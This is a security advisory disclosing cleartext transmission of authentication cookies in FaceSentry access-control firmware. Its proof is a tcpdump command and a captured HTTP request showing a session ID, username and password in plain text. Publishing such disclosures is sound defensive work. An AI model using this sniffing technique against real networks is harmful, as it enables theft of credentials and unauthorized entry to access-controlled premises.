FaceSentry Access Control System 6.4.8 Authentication Credential Disclosure

FaceSentry Access Control System version 6.4.8 suffers from a cleartext transmission of sensitive information. This allows a remote attacker to intercept the HTTP Cookie authentication credentials via a man-in-the-middle attack.


MD5 | f08f9cdccfb33e4587804f10becb1fc0


FaceSentry Access Control System 6.4.8 Authentication Credentials MiTM Disclosure


Vendor: iWT Ltd.
Product web page: http://www.iwt.com.hk
Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
Firmware 5.7.2 build 568 (Algorithm A14)
Firmware 5.7.0 build 539 (Algorithm A14)

Summary: FaceSentry 5AN is a revolutionary smart identity
management appliance that offers entry via biometric face
identification, contactless smart card, staff ID, or QR-code.
The QR-code upgrade allows you to share an eKey with guests
while you're away from your Office and monitor all activity
via the web administration tool. Powered by standard PoE
(Power over Ethernet), FaceSEntry 5AN can be installed in
minutes with only 6 screws. FaceSentry 5AN is a true enterprise
grade access control or time-and-attendance appliance.

Desc: The application suffers from a cleartext transmission of
sensitive information. This allows a remote attacker to intercept
the HTTP Cookie authentication credentials via a man-in-the-middle
attack.

Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
Linux 3.4.113-sun8i (armv7l)
PHP/7.0.30-0ubuntu0.16.04.1
PHP/7.0.22-0ubuntu0.16.04.1
lighttpd/1.4.35
Armbian 5.38
Sunxi Linux (sun8i generation)
Orange Pi PC +


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2019-5528
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5528.php


28.05.2019

--


[email protected]:~# tcpdump -i eth0 -X
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
<..snip..>
<..snip..>
12:30:11.895004 IP kali.41495 > 192-168-11-1.zslab35.http: Flags [P.], seq 1:490, ack 1, win 229, options [nop,nop,TS val 4499898 ecr 1786936921], length 489: HTTP: POST /tcpPortTest.php HTTP/1.1
0x0000: 4500 021d a86c 4000 4006 13f6 c0a8 0151 [email protected]@......Q
0x0010: 2ac8 8fb7 a217 0050 bc23 011f 086b 09a9 *......P.#...k..
0x0020: 8018 00e5 7e88 0000 0101 080a 0044 a9ba ....~........D..
0x0030: 6a82 7e59 504f 5354 202f 7463 7050 6f72 j.~YPOST./tcpPor
0x0040: 7454 6573 742e 7068 7020 4854 5450 2f31 tTest.php.HTTP/1
0x0050: 2e31 0d0a 5573 6572 2d41 6765 6e74 3a20 .1..User-Agent:.
0x0060: 4d6f 7a69 6c6c 612f 352e 3020 2858 3131 Mozilla/5.0.(X11
0x0070: 3b20 4c69 6e75 7820 7838 365f 3634 3b20 ;.Linux.x86_64;.
0x0080: 7276 3a34 352e 3029 2047 6563 6b6f 2f32 rv:45.0).Gecko/2
0x0090: 3031 3030 3130 3120 4669 7265 666f 782f 0100101.Firefox/
0x00a0: 3435 2e30 0d0a 4163 6365 7074 3a20 7465 45.0..Accept:.te
0x00b0: 7874 2f68 746d 6c2c 6170 706c 6963 6174 xt/html,applicat
0x00c0: 696f 6e2f 7868 746d 6c2b 786d 6c2c 6170 ion/xhtml+xml,ap
0x00d0: 706c 6963 6174 696f 6e2f 786d 6c3b 713d plication/xml;q=
0x00e0: 302e 392c 2a2f 2a3b 713d 302e 380d 0a41 0.9,*/*;q=0.8..A
0x00f0: 6363 6570 742d 4c61 6e67 7561 6765 3a20 ccept-Language:.
0x0100: 656e 2d55 532c 656e 3b71 3d30 2e35 0d0a en-US,en;q=0.5..
0x0110: 5265 6665 7265 723a 2068 7474 703a 2f2f Referer:.http://
0x0120: 3139 322e 3136 382e 3131 2e31 2f74 6370 192.168.11.1/tcp
0x0130: 506f 7274 5465 7374 2e70 6870 3f0d 0a43 PortTest.php?..C
0x0140: 6f6f 6b69 653a 2050 4850 5345 5353 4944 ookie:.PHPSESSID
0x0150: 3d32 3174 3469 6466 3135 666e 6b64 3631 =21t4idf15fnkd61
0x0160: 7265 7271 6c39 616c 346e 333b 2075 7365 rerql9al4n3;.use
0x0170: 726e 616d 653d 7573 6572 3b20 7061 7373 rname=user;.pass
0x0180: 776f 7264 3d31 3233 0d0a 436f 6e6e 6563 word=123..Connec
0x0190: 7469 6f6e 3a20 6b65 6570 2d61 6c69 7665 tion:.keep-alive
0x01a0: 0d0a 436f 6e74 656e 742d 5479 7065 3a20 ..Content-Type:.
0x01b0: 6170 706c 6963 6174 696f 6e2f 782d 7777 application/x-ww
0x01c0: 772d 666f 726d 2d75 726c 656e 636f 6465 w-form-urlencode
0x01d0: 640d 0a43 6f6e 7465 6e74 2d4c 656e 6774 d..Content-Lengt
0x01e0: 683a 2032 380d 0a48 6f73 743a 2031 3932 h:.28..Host:.192
0x01f0: 2e31 3638 2e31 312e 310d 0a0d 0a73 7472 .168.11.1....str
0x0200: 496e 4950 3d31 2e33 2e33 2e37 2673 7472 InIP=1.3.3.7&str
0x0210: 496e 506f 7274 3d38 30 InPort=80

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